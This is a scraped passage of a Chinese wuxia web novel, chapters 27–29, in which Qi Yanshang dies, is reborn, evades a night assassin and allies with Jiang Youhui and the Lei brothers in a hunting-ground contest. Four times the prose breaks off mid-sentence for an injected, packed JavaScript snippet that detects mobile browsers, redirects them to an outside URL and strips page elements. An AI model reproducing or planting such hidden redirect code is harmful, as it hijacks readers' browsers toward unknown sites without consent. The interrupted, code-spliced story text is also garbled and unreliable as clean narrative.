林霁荷并没有去看那本书,而是举着油灯在墙上看着什么,她突然开口道:“你看这墙上,好像画着什么。” “画?”戚研商也走到墙边,举起了油灯,墙上确实有些图画,不过并不是画上去的,而是刻上去的,这是一副浮雕。 “好像是个什么不得了的东西……”林霁荷道,虽然她对江湖之事了解甚多,可对朝堂之事只是一知半解,这墙上的刻画,似乎与那当朝天子有一些关联,可具体是何等含义,她一时无法看透。 戚研商看后,也是眉头紧锁,之前便猜想到了那所谓的财宝有另一层深意,而写出诗集的李云山,竟然直接在这墙上刻画出了朝堂之事。 “我觉得,我们还是不要知道比较好,这本书,也不用带上去了。”戚研商冷声道。 朝廷应是一直未能找到诗集,恒越手中的也不一定是真品,否则怎么明知她在此处,任凭她四处游走,而不将她控制起来? 而如今在地下所找到的这本,很有可能就是那争相抢夺的诗集。 若她们贸然将此书带出,到时候上交于荀惜维,很有可能会导致很严重的后果,毕竟她俩是第一个见到此书的人,必然已经得知诗集内容,从而推断出财宝位置,这对于朝廷来说实在不利。 林霁荷心知这件事的严重性,她点了点头,道:“嗯,我们还有时间,这本,就放弃了吧。” 说罢,戚研商又将书拿了出来,放回了石桌上。 两人重新踏上长满青苔的台阶,慢慢走了回去。 戚研商略走在前,刚探出入口,一柄剑便立刻架在了她的脖颈之上,她即刻拽住林霁荷,不让她继续向上走。 “怎么了……什么人!”林霁荷只觉自己突然被拽到背后,她仰头看去,一名男子正手持长剑,挡住了戚研商上行的路。 戚研商不知此人有何用意,是寻书的比试者,还是知晓诗集之人。 她吞了口唾沫,道:“你想做什么?” 男子却收回长剑,扫视了二人,道:“我不想做什么,只是看这里有个地下室……你们在里面找到书了吗?” “没有!”林霁荷在身后大喊,“这下面什么都没有!” “哦,是吗?”男子挑了挑眉,露出了不相信的神情,戚研商在这一刻感受到了杀意。 她们目前处在的位置实在不好,台阶上又布满了青苔,若是动起手来,怕是要落入下风。 戚研商只好服软,道:“有,不过那本书被水浸泡了,我们看不清上面写的到底是什么,就没有带出来。” 说着,戚研商将手翻了过来,掌心上还沾着一些绿色的青苔。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451033|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真没用。”男子不屑道,“你们俩带我下去看看,藏得这么深,肯定是那什么李云山的真迹。” 林霁荷紧张地扯了扯戚研商的衣袖,戚研商安慰似的抓住了她的手,道:“好啊,那跟着我们一起下来吧。” 男子哼了一声,一只脚踏下阶梯,却停住了,道:“你们先下去。” 戚研商点了点头,两人转过身,又向下走去。 男子似乎嫌弃她们走的太慢,猛地踹了一脚戚研商,她重心不稳,下意识去扶墙,可是墙上也布满了青苔,便拉着林霁荷摔了下去。 空荡的地下室传来咚的一声。 两人手中的油灯也掉了下去,微弱的火苗刚接触到湿漉漉的地面,便熄灭了,地下室又陷入了一片黑暗当中。 “搞什么?这都站不稳?”那男子愤怒地骂了一句,由于失去视线,他同样脚下一滑,也摔了下来,砸到了戚研商的身上,她不住地闷哼一声。 戚研商没空管那男子如何,虽然看不见,她仍旧抬脚向那处踢去,还好踢中了那人,给自己赢得了起身的空间。 她顺着牵手的方向,去摸寻林霁荷,刚才她摔下来时候也大喊了一声,戚研商觉得那声音不对劲。 “林霁荷,你还好吗?”戚研商小声呼唤道,可是对方只用了些鼻音去回复她。 戚研商又将袖中的火折子拿出,摩挲了几次才点燃,下一刻,她看到了最不愿意想见到的场景。 林霁荷躺在地上奄奄一息,从她的身后汩汩流出了鲜血,戚研商屏住呼吸,将火折子向石桌移去,那桌子的一角沾满了鲜血。 看来林霁荷落下来的时候,正好磕到了桌角。 她慌忙爬到了林霁荷的身边,将她的头抬了起来,那红色的液体立刻流了戚研商一手,可是现在她一手拿着火折子,一手扶着林霁荷,完全没有办法帮她止血。 为什么又让她经历这一幕?明明这次一切都很顺利。 戚研商轻轻晃动着林霁荷,看着她即将闭上的双眼,道:“你别睡,别睡,我救你出去!” “你……你先跑……”林霁荷双唇微张,气息微弱地说着。 “别睡啊!我们一起出去!”戚研商的眼眶逐渐发热,她实在不知道此时要如何是好。 林霁荷原本近乎闭上的眼睛却突然张开,比平时都要圆,即使现在毫无力气,她仍旧用力抬起一只手,向戚研商身后指去。 “小商……小心……!!”林霁荷用尽最后的力气大喊。 戚研商立即感到背后似乎有什么动静,她还未转头,只觉得有一冰凉的物体刺入了她的身躯。 那男子似乎怕她反击,连刺了好几下,戚研商感到身体有着钻心的疼痛,可她却叫不出来。 她又再一次倒在了林霁荷身边,正如上一次一样。 男子颤颤巍巍站了起来,抢走了戚研商手中的火折子,照亮石桌,将那本书拿了起来,心满意足翻动了起来,得意地说着:“哼,得来全不费工夫。” 27.运气不错 戚研商再一次倒在血泊当中,她的眼前逐渐变得模糊,由背部传来的剧痛占据了她的全部理智。 这种痛苦没能持续多久,渐渐地,她便感到了自己的灵魂似乎离开了躯体,而周围的场景也慢慢地变化着。 原本幽暗的井下,逐渐明亮起来,周围四壁轰然倒塌,取而代之的是由地下快速生长起来的大树,而她也随着树木的生长,慢慢地愈合了伤口。 她又回到了那个熟悉的地方。 戚研商慢慢站起,此时周围已如清晨般明亮,却仍旧弥漫着浓厚的雾气。 “灵境?”戚研商轻轻呼唤道,盼望着那个身影的出现。 然而等了好一会,才有人应答:“戚研商,又见面了。” 戚研商叹了口气道:“我又失败了……那个人突然出现,无法设下防备……下一次,一定能行。” “你也可以选择放弃,我们的交易一笔勾销。”零境的声音从远方传来,戚研商看向她的位置,似乎比之前要近不少,只不过仍旧看不清她的脸。 好不容易进入了第二关比试,怎么可以轻易放弃? 戚研商用力摇了摇头,道:“零境,我要再来一次。” 零境沉默了一会,冷声问道:“你还不知道吗,这个比试远比你想象中的困难,并且有很多你不知道的规则。” 那个突然出现的武林第一?这人的出现确实是属于规则以外的情况,不过也没有造成什么结果,甚至还是个不错的人。 “我知道,所以我要继续。”戚研商沉声道。 “如你所愿。”零境放弃劝说,逐渐消失在云雾中。 这次两人的交谈甚少,戚研商本想向她问一些问题,也没能来得及说。 不过想来,零境也不愿意开口罢。 戚研商如同之前一样缓缓坐下,她微微闭上双眼,开始回忆这次的比试情况。 按照零境所说,自己的重生与行为,也会影响到他人的行动,第一关由于萧氏兄弟的庇护,她能够成功通关,不知下一次是否还能遇上这兄弟二人。 第二关的比试内容,却超出了她的想象。 这根本不是单纯的找物,而是朝廷在借用他们之手去解开那宝藏的谜题,她在井中发现了关系到朝廷命脉的东西,也不知道那个男子,是为了书籍而来,还是为了宝藏而来。 回忆这一切,让戚研商即使在幻境中,也感到异常的疲惫。 她的意识又模糊了起来,坚持不住睡了过去。 待醒来时,她又回到了武馆中。 相比之前,戚研商感觉离开了很久,看到那些熟悉的面孔,忍不住鼻尖泛酸,可她只道是阳光太过刺眼,忍不住流泪。 未在武馆多做停留,她按照上次的时间出发,准时到达客栈,傍晚收到了写着亥时三刻的纸条。 黑衣人架着她飞驰而行,呼啸而过的风也无法扰乱她的心绪,只是此次戚研商只是沉默,不知还能从黑衣人口中得知些什么。 须臾之间,又回到了破败的宅邸前。 与上次相同,进门便到了分房之时,戚研商进门精确地在人群中找到了林霁荷。 她却有些犹豫,这次是否要去与她相认呢? 林霁荷三次都有帮助自己,可是其中两次却是带着她一同赴死,戚研商不知若是自己没有干扰她的命运,她会不会逃脱此等劫难。 就在犹豫之际,林霁荷已经进入了大厅中,想必是去归还匕首了。 戚研商迅速跟在身后,进了大厅,便看见荀惜维将小刀放置在一旁的桌上,而林霁荷转身将走。 此时戚研商上前,问道:“姑娘刚才交谈之人,可是负责这次比试的?” 林霁荷似乎有些着急回去,她没有如上次一般积极应答,只是点了点头,道:“是的,你是刚来的吧,找他就好了。” 说罢便直接离开了。 戚研商想起零境之前的话,看来每一次重生,其他人也都在变化,因此这次的林霁荷不如之前那样热情。 不过戚研商也有办法应对今晚,或许这次没有自己的影响,林霁荷可以顺利晋级到最后一关,或者因为未能找到物品而早早离开。 若是她遇到危险了……自己也必然帮忙。 “你是才来的吗?”身后突然有人拍她的肩膀,回头一看,正是荀惜维。 荀惜维上下打量了她一番,又露出了嫌弃的表情:“你来的有点晚了,我们的晚宴都结束了。” “大人,我是按照纸条上的时间来的,为何来迟了……我也不清楚。”戚研商表露出一副着急的神情,“那我今夜还有地方住吗?我看这里已经没有几个人了。” 荀惜维不紧不慢地从袖中掏出一把钥匙,递给她:“最后一间房,你去找小厮带去吧。” 那把钥匙没有挂上牌子,还是“贰拾捌”号房。 “多谢大人。”戚研商接过钥匙,微表感谢,便转身离开了。 去房间的路她已经熟悉了,也无需任何人引路,她从大厅中的桌上随意拿了盏油灯,顾自向房间走去。 这次没有林霁荷的帮助,她没法去别的房间躲避第一夜的刺杀,不过也另有办法。 —— 循着记忆终于走到了“贰拾捌”号房前。 戚研商插入钥匙推开房门,一股潮湿发霉的气味扑面而来,看来这间屋子已经很久没有人住,她之前竟然并没有在意。 将房间中的几盏灯点燃,她铺好了床铺,换上了衣服,又略加洗漱。 之后便是要做一件重要的事情。 戚研商从柜子中拿出好几件衣服,铺在床上,然后动手将这些衣服系在一起,最后将它塑造成一个“人”的模样,塞进了被子里。 她吹灭了床角的一盏灯,在昏暗的光线下,像是真的有人睡在床上一般。 这就是戚研商想到的另一种方法。 她记得上次那凶手进了房间后,只破坏了门窗,以及翻找了桌子,将牌子拿走,却并没有动衣柜,更加没有破坏床铺。 看来那人的目的并不是杀人,而是为了拿走牌子,只是第一次自己被发现在床上,被杀人灭口罢了。 戚研商将衣服放在床上的目的只是为了拖延凶手的时间,或许可以看到他究竟是何人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539049|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是她目前无法确定猜测是否正确,万一他在房中寻找自己,怕又是难逃一死。 不过戚研商想着自己还能重生,便觉得无所谓了,这一切才开始,尝试一次又如何。 将一切布置好,戚研商吹灭了所有的油灯,躲进了衣柜里,只留了一点缝隙便于观察,她测试过,即使在点燃灯火的情况下,也很难从这个缝隙中看到里面有人。 衣柜的空间不大,她双手抱膝坐在其中,有些闷热,令人昏昏欲睡。 就在即将睡去之际,戚研商听见了窗子被划破的声音。 那个凶手进来了! 正如戚研商所想,那人一进屋便观察到床上似乎有人,将手中的利刃用力向床上刺去,由于那只是一团衣服,没有人反抗,没有人尖叫。 凶手只是掀开了床单看了一眼,便又盖了回去。 戚研商感到胸口突突跳着,凶手知道了房间有人,可能会过来打开衣柜。 下一刻,那凶手真的走了过来,将衣柜猛然打开,戚研商感到全身的血液凝固了,一动也不敢动。 也是如此,戚研商看清了那人的脸,这是一个完全陌生的面庞,他并不是比试者中的任何一个。 那这人是谁! 或许是戚研商缩在柜子下方,而凶手打开衣柜后两人并没有四目相对,凶手竟然就这样关上了柜门。 看来凶手还是较为着急,他转身将桌子上的牌子带走,欲要从窗子翻出,却顿了一下,又将房门给踹开,之后便消失在了黑夜中。 此时戚研商全身浸满了冷汗,她暂时还不能松懈,只是稍微放松了些,靠在柜中休息。 她无法判断那凶手是否会重新回到这里。 戚研商闭上眼睛稍作休息,脑中却问题万千,为何这人并非比试者其一,这个牌子是有什么秘密,让此人一定要拿走。 第一个问题,戚研商有些头绪,说不定这凶手也是如同蔚炎凤一样,中途加入的人,只是蔚炎凤是中途加入了比试,而凶手只是加入了他们休息场所。至于这个人到底是出于何等目的,就暂且不得而知了。 而第二个问题,还需要之后再探查一番,说不定现在自己的房中就有答案。 戚研商在万千思绪中逐渐感到十足的困意,便在衣柜中睡到了天亮。 翌日,她在柜中被人晃醒了。 “你这里是怎么了?”荀惜维皱着眉头问道。 光线太过刺眼,戚研商只能勉强睁开眼睛,她清了清嗓子,才道:“昨夜感觉有人在门口,我就躲进了柜子里。” 荀惜维哼了一声,他起身在房中转了一圈,道:“算你走运,你这门窗都被破坏了,床上也被扎了一刀,嗯?你怎么在床上放这么多衣服?难道你猜到了有人来刺杀你?” 戚研商没想到自己一个受害者还要被他质问,无奈地答道:“我不抱着东西睡不着,于是自己做了个娃娃,没想到竟然还帮我挡了一刀。” “那你得好好加油,老天都在帮你啊。”荀惜维留下一句话,不知是讽刺还是何意,说完便转身离开,门口站着的一堆人,也尽然被他遣散。 28.江氏公子 戚研商从柜中钻出,房间果然如上次一般凌乱,她走到床边,床被中心赫然有一条缝隙,从中露出一些棉絮,想必就是凶手的那一刀所为。 门窗已经被彻底破坏,地上满是门上掉落的木片,若是比试结束,她便无法在这里休息了,看来到时候还得另寻他法。 稍作洗漱,戚研商换上青色长衫,便前往庭院集合。 此时庭院已经站满了人,她环视人群,瞥见了几个熟悉的面孔。 林霁荷就站在不远处,看来她已经找到了同伴,只是那人背对着,看不出是谁来,戚研商也不好意思去打扰她了。 看来这次只能靠自己了。 荀惜维照常说了一堆话,戚研商听得有些厌烦。 终于到了上马车的时候,她没有同伴,便落在了最后。 一路颠簸,又回到了狩猎场。 连那木雕也无需观察,如何样貌早已铭记于心。戚研商已经计划着去拿那小屋水缸中的木雕,其余时间只要多藏着就好。 比试开始,时间尚早,戚研商还想着留在大门附近,观察一下其他人。 于是她找到了第一次躲藏的位置,选了个更为隐秘的角落,悄悄观察着那些在起点就开始打架的人。 那群人正值酣战,戚研商看的津津有味,这些人基本都有深厚的武功,才有信心一开始就去挑战他人,几乎是强强对决。 场面十分混乱,前一刻还在配合的二人,下一刻却又相互攻击,他们只是利用着他人辅助攻击,并没有真正的战友。 然而戚研商看得过于沉迷,几乎忘了这是一场生死对决的比试,那群人因为打斗不断地移动着,离戚研商越来越近。 待戚研商发现的时候,这群人已然到了她的面前。 好在她躲藏于草林之中,没有被即刻发现,戚研商立即起身逃脱,奈何这一下使得周围的杂草发出簌簌声,引得那些人注意到了这里。 “谁在这里埋伏?” 戚研商只听见背后有一男声大吼,随即是一片踩踏在落叶上的脚步声。 此刻这些敌人又瞬间化为同伴,共同来追她这个埋伏于隐秘处的“敌人”。 确实是大意了,虽然已经经历过三次,对于狩猎场的地形已了然于心,可是在此处的人却都处于一种未知状态,即使她知道他人的姓名,也无法猜测出他人的动向。 正如目前紧迫的情况,是之前一直未有的,即使是第一次,也有同伴一起,而此次却是孤身一人。 戚研商快速奔跑着,窜入一片树林中,她找准了一棵较为高大的树,略施轻功攀了上去,躲藏在枝叶之中。 她的速度极快,后方追来的只能见到她的身影消失在了树林,不知她去向了何处。 当然只是躲藏是不够的,她手中抓着一颗刚在在下面捡到的石头,瞅准了有人就跟了进来,便用力向另一个方向扔去,那石块不算小,落地的时候将周围的草木震动了些,还发出砰的一声。 “那边!”人群听见远处有异响,便从树下绕开,向着石头落地的方向跑去。 戚研商躲藏在树上,看到那群人渐行渐远,松了口气,不过她不打算现在就下来,他们没找到人,随时可能折返。 突然一个石子击中她的衣角,戚研商大惊,慌忙将不小心露出的衣角掖于身下,向下看去,竟空无一人。 她即刻进入戒备状态,内力集于双拳,一触即发。 只觉头上似乎有落叶掉落,卡在发丝间,瘙痒难耐,她伸手去抓,不料竟被扼住手腕,一时难以脱身。 戚研商被抓住的手悄然脱力,将内力全部汇集于另一掌心,迅速回身,以掌击身后之人。 那人动作轻巧,在击中之前便松开了手,戚研商击出的力无法收回,身体过度侧翻,一脚已经踏出驻足的树杈,将要掉下之时,那人再一次抓住了她的手腕。 戚研商顺势看去,那人一手抓着她的手腕试图将她扶稳,另一手则拿了一把折扇,缓缓摇动。 她皱眉,一句疑问的话却堵在了喉咙,这个人竟然十分眼熟。 他眯着眼睛笑道,声音宛若清风飘过:“姑娘你好,在下江有晦,比试太过凶险,能否与我结伴保护我?报酬自然是协助姑娘通关。” 江有晦虽然声音温柔,可他手腕的力气却一点也不轻柔,竟能够单凭一只手将即将落下的戚研商拽回。 待戚研商站稳,她才开始仔细打量眼前的此人,这人年纪约莫与自己差不多大,长相本应完全陌生,可她却又有莫名的熟悉感。 下一刻,她猛然记起,此人不就是那个曾经代替她入住“贰拾捌”号房,之后便死于非命的人吗? “姑娘为何一言不发?”江有晦问道,没想到眼前的姑娘竟然除开刚才眼神中的一丝慌张外,便没有其他任何反应,这令人十分奇怪。 戚研商想起上次此人好像还来找过自己一回,当时被林霁荷挡了回去,想必应是没有什么恶意,她对于之前不小心导致他死亡的事情还有些内疚,还是决定对他多些善意,答道:“保护?江公子你身手不凡,还需要我来保护你?更何况我们应该算是……对手?” 听闻此话,江有晦连忙收起折扇,抱拳作揖道:“非也,我来此不过是家父让我来锻炼一二,我对于那什么‘十二簪’才没什么兴趣,若是知道如此凶险,我才不会同意参加。刚见姑娘身手不错,敢问姑娘姓名?师从何处?” “我叫戚研商,在京师开武馆的。”戚研商做了个简单的介绍,没有任何背景的她,应该能够劝退此人吧。 谁知对方却露出了欣喜之色,道:“开武馆的?那太好了,姑娘还可以教我一些武功,这样我们就能够一路过关斩将了。” "教你怕是不行,不过暂时结伴,还是可以的,你最好不要耍什么花样。"不知为何江有晦一直在强调自己处于弱势,可他刚才展现出的功夫可见此人实力不凡,戚研商琢磨不出此人到底有何用意,不过她想了想,还是同意结伴,毕竟此次单独行动,若是再遇到危险,多一人便能增加逃脱的几率。 江有晦开心地在树枝间坐了下来,他身姿轻盈,竟然无需刻意保持平衡,便能轻松依靠在细枝上。 这副样子不像是装的,戚研商从他漏洞百出的言语中猜测,或许此人真是个富家公子,只会嘴上骗人,身体倒是丝毫不加掩饰。 “你姓江,你可是永沽江氏家的公子?”戚研商问道,在她记忆中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594286|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够算得上名门富家的,也就这一个了。 江有晦倒是很惊讶,像是不知道永沽江氏是名门似的,道:“戚姑娘如此博学,这都被你猜到了!” 如此夸张的样子,戚研商有些无语,道:“看你也不似什么小门小派,口音像是永沽的,这很难猜吗?” “既然姑娘知道了我的身份,那我不得不拿出这个了。”江有晦说着,开始在袖口中摸索着什么。 戚研商皱眉,她总觉得这人表现得有些刻意,不会是要掏出什么武器来吧,想着又不禁攥起了拳头。 还好对面掏了半天,也只是拿出了一张折得皱皱巴巴的纸。江有晦瞥了一眼戚研商又握起的拳头,连忙将纸展开来,道:“你别紧张,我不是坏人。既然你已经知道我的身份,那这个东西一定要分享给你看。” 他将纸递给了戚研商,由于过度折叠,纸片上的墨有些晕开了,不过并不影响查看。 纸上画着一些四四方方的东西,乍看之下,还以为是什么藏宝图,戚研商将纸片掉了个头,上面展露的信息让她立刻身躯一颤,这竟然,正是狩猎场的布局图! 这图上不仅将狩猎场所有的建筑描摹得清清楚楚,还用红色标记出了木雕的位置,精准无误。 她清楚地看见地下室中没有木雕,而地下室尽头的那个屋子却有一个,坟地的那个木雕,也被标记了出来,甚至可以看到藏在那一块坟头中。 “你怎么会有这个?”戚研商对此地已经十分熟悉,刚才那匆匆几眼,已经将木雕所有位置记于心中,只是这布局图拿在手中实在是令人坐立难安,她又将纸片塞回了江有晦手中。 江有晦手中拿着被粗略折起的布局图,道:“你这么快就看完了?我说了,你保护我,我帮你过关,你看,我这图上可都写得清清楚楚。” 戚研商不想听这些乱七八糟的,继续问道:“你到底从哪里拿到的?” “唔,”江有晦转了转眼珠,似乎是在思考,又像是在找借口,“那好吧,告诉你。你应该知道来此处有两种方式,一是被邀请而来,二是自己找法子,比如说是买来的情报,姑娘应该是第二种吧?” 戚研商点了点头,不过准确来说,她也是被邀请来的。 “那我就是第一种,被邀请而来的,说句你可能不乐意听的,我们被邀请而来也分为几种,好吧,其实我也不清楚有哪几种,可能因为我家在江湖上有那么一点地位,所以受邀时,将这布局图一并给了我。”江有晦有些不好意思地道,“可能是确保我们这些公子哥,能够顺利通过第一关,至少没那么难看。” 戚研商知道这比试不公平,没想到能够不公平到如此地步,这些有地位的世家,竟然能够直接度过第一关。 “不过,虽然我们知道位置,还是需要自己来找,依旧面临着风险,”江有晦将布局图又收回了袖中,“所以姑娘,你可要保护好我呀!” “那下一关,你有吗?”戚研商不想直接接他的话。 江有晦却摇了摇头,道:“这我不知,可能会给,也可能不给,反正现在没有。” “那下一关,我们还要一起。”戚研商道,她迫切地想知道,井下的一切是否会被标记在图中。 29.故地重游 两人在树上待了许久,确保无人回来才跳了下来。 虽说戚研商已经做好了规划,可是临时多了一个人,还是要问问江有晦作何打算。 “去哪里找?”江有晦又将布局图拿了出来,指了几个地方说道,“这几个地方已经被荀惜维暴露,肯定是不能去的,争抢的人必定很多。” 他摸了摸下巴,思索了一会,继续道:“这几点个地方也比较空旷,去了比较危险,那么我们就去这两个地方吧。” 戚研商沿着他指的方向,是在东南方位,芦苇荡下方,这里之前没有去过,图上对此处标记的似乎是一片石林。 去一个新的地方探索确实不错,不过目前他们所在大门附近,也就是西北方,要去东南方位实在是有些远,戚研商直接开口问道:“这个位置离我们现在所在的地方太远了,我们就直接过去吗?” 江有晦的指尖又在图上打转着,最后停留在了茅屋上:“这里像个房屋,或许有些补给,还有一个木雕也藏在这里。不过得小心一些,万一已经有人捷足先登……等等,你看我们从这里的隧道下去,正好可以从那个茅屋出来呀!” 这可不行,若是将密道里书房的机关打开,那势必会将雷承璟引诱出来,戚研商摇了摇头,道:“我觉得地下比较危险,我们躲藏到现在,万一下方有人埋伏可怎么办。” 江有晦却是十分自信,他收起布局图,顾自向着那密道的方向走去,说道:“若是碰上了,正好,我们在后面袭击便是了。” 戚研商不知道他哪里来的自信,或许正是因为这是一位世家公子,才使得他对于危险没什么感知。 若是真的在密道遇见了雷承璟,她必定先跑一步。 两人一路向着前进,到了密道入口,戚研商便一眼看出那入口已经被人破坏后,又重新盖了起来。 而江有晦并不知情,他回头给了一个眼神,道:“你看这里还是封闭着,下面肯定没人,放心,一起下来吧。” 没等戚研商提醒,他就直接跳了下去。 这一幕似曾相识,这人或许和童疏田是差不多的莽夫。 戚研商早已无惧死亡,她倒想看看世家公子吃瘪是什么样,于是跟着也跳了下去。 此时江有晦正在研究地上的一个盒子,戚研商看了一眼,是装着假木雕的盒子,她环顾四周,发现那封信件还挂在墙上,不过这次没什么意义了,布局图上没有标记此处有木雕,那必然是假的。 “哎呀,我失算了,这个盒子之前应该装着一个木雕,虽然是假的,应该已经被拿走了,看来这下面确实已经有人来过了。”江有晦懊恼的将盒子又丢回到地上,他看向戚研商,问道,“不然我们再上去?” 戚研商轻笑,摇了摇头:“你不是说有人的话,背后袭击就是了,还上去做什么?继续走啊。” 江有晦立刻蹿到戚研商的身后,扯住她的衣角,道:“走是可以,你得保护我。” 行吧,这次没有林霁荷跟在身后,换了个江有晦。 戚研商依旧带了一些火折子出来,她正准备从袖口中拿出,没想到江有晦先递了过来,“这里面太黑了,还是照亮一些吧。” “从哪里来的。”戚研商明知故问。 身后传来江有晦虚弱的回答:“唉,我都有布局图了,拿点火折子又能怎样?” 看来这第一关势必是要将这些世家子弟直接通关,还不如像蔚炎凤一般,直接中途加入,省的折腾他们了。 戚研商只得在心里默默吐槽,她点燃火折子,两人前行几步,便从墙上取下了油灯,火折子靠近灯芯点燃,甬道内立刻明亮起来。 “小心点。”江有晦突然伸手拿过了油灯,轻轻一吹,那火光闪了闪,黯淡了不少,“既然有人,不能太亮了。” 他们暂时不知道雷承璟目前身在哪个位置,戚研商忆起上次的情况,这兄弟两个恐怕是在密道中躲藏了一晚,而那位置很有可能就是在书房附近。 “会不会已经暴露了?”戚研商道,虽说甬道十分之长,可是下方并无一丝光亮,他们只要点燃了油灯,除非前方那两人已经睡着,否则必定能看见来自这里的微光。 更何况这兄弟俩也不是什么吃素的。 戚研商突然想起上次雷承璟能够发现书房位置,是因为她在墙上做了手脚,而此次却没有做下任何标记,或许那两人已经离开了呢? 可事与愿违,他们并没有离开,就在戚研商开口之后的不久,远处传来了声音,似乎是雷承璟在说话:“你们带了火?” 江有晦似乎有些紧张,又躲到了戚研商的身后,而戚研商却觉得对方没有恶意,答道:“是的,无意进入,这下方可有什么特别之处?” “我们在下面找到了一个木雕,不过这么长的甬道,必定有什么密室在此,只是什么都看不见,可借火一用?”雷承璟在远处问道。 还没等戚研商开口,他又补充了一句:“你放心,我们没有恶意,如果真的有木雕,可以先让给你,只要我们后续再去寻一个便是。” 看来雷承璟并不知道他们是两个人,这番话听来倒也诚恳,不过也没有暴露他们也是两人。 “找到也是假的。”江有晦小声说道,不过他并没有反对与那人集合。 戚研商举着油灯一路前行,终于与雷承璟碰上了面。 除了戚研商,剩余三人都十分惊讶,没想到两方皆是带着同伴来的。 雷承璟还是那一脸稚气的站在前面,而雷承宁虽然个子高些,可是面色很差,两人看着不像兄弟,像是小少爷与管家。 不过戚研商瞅见了雷承宁还是有些心里发怵,上一次直接面对他,还是丢了性命之时,不过不知为何,这次他与雷承璟站在一起,倒是显得气场有些弱。 难道这次雷承璟抓住了雷承宁什么把柄,导致他如此听话吗? 戚研商一路走来照着墙壁,直到会面时也没见到那异常的墙壁,不过她还是说道:“少侠贵姓?不知是想在下面找些什么。” “免贵姓雷,我叫雷承璟,他是雷承宁。”雷承璟手中也拿了个油灯,可能是一路摸索过来拿着的,他凑近了戚研商的油灯点燃,两盏油灯顿时将下方照亮一大片区域。 江有晦此时倒是站了出来,抱拳作揖道:“我叫江有晦,这位女侠是在京师开武馆的戚研商,厉害吧?” 他竟然说得毫无保留,戚研商翻了个白眼。 雷承宁似乎认识这个名字,原本呆滞的表情消退了些,他张了张嘴,道:“永沽江氏?”声音仍旧有些虚弱。 “正是,但不值一提,你们雷家两位公子倒是赫赫有名啊。”江有晦说着,还去握两人的手。 戚研商受不了此场景,道:“寒暄的话少说,咱们还是找找木雕要紧。” “你刚才过来时,又发现什么异常吗?”雷承璟问道。 戚研商摇了摇头,道:“没有。”她确实没看到什么异常。 书房的位置应该还在前方。 雷承璟意外的很相信她,点了点头,道:“那我们继续向前吧。” 于是四人又向前走了一些,雷承璟走在前方,首先发现了墙壁处的异样,说道:“你们看,这里的墙壁是不是颜色不同?” 江有晦凑了上去,道:“还真不一样,看来这后面有什么东西。” 戚研商心知机关在周围某一块砖上,若是一块块找是非常困难的,她打算等众人研究一番后,再暴力破解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617398|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁知江有晦找也没找,直接一掌拍在了墙上,那力气竟然出奇得大,戚研商感到整个地下都有些颤抖。 随着一声巨响,那异色的墙标轰然倒塌。 戚研商回忆了一下那布局图,上面并没有标记这下方书房的机关位置,没想到江有晦竟然也不去找,就直接把墙给毁了。 雷氏兄弟被吓了一跳,他俩蹦了起来,缩在了一旁,雷承璟说道:“江公子,你行事也太过莽撞了,若是这面墙在地下起到支撑作用,你这一掌,我们四人都要葬身于此!” “怎么会?”江有晦挑眉,“找机关太麻烦了,我刚才敲了一下墙壁,这里的声音与其他地方不同,明显后面是空的。既然有房间,又怎么会是用来支撑的墙面呢。” 不过这一吓,戚研商倒是觉着有些解气,虽说上次已经报仇,可是那结果确实本就应该发生的,即使她不去念那封信,他手中的木雕也是假的。 看他俩现在这瑟缩的模样,真的有些好笑。 江有晦踢开了剩余的石砖,书房完全展露了出来,“别怕了,进去吧。” 戚研商弯腰,将手中的油灯放在了书房中心的桌上,那桌子上依旧放着那个装着假木雕的盒子。 雷承璟将盒子拾了起来,轻轻打开,鹿头木雕正完好的放在当中。 “果然在此,那这个,就给江公子吧,毕竟是你打开的密室。”雷承璟将木雕取了出来,塞到江有晦的手中。 江有晦心知这是假的,拿了也没用,他故作谦让道:“若不是在这密道中碰到两位,我们哪知道这里会藏有木雕,我们的出现也只是锦上添花,这木雕自然是属于二位的。”说着,他又将木雕放回了雷承璟手中,谁知还没送到手中,便被雷承宁抢去了。 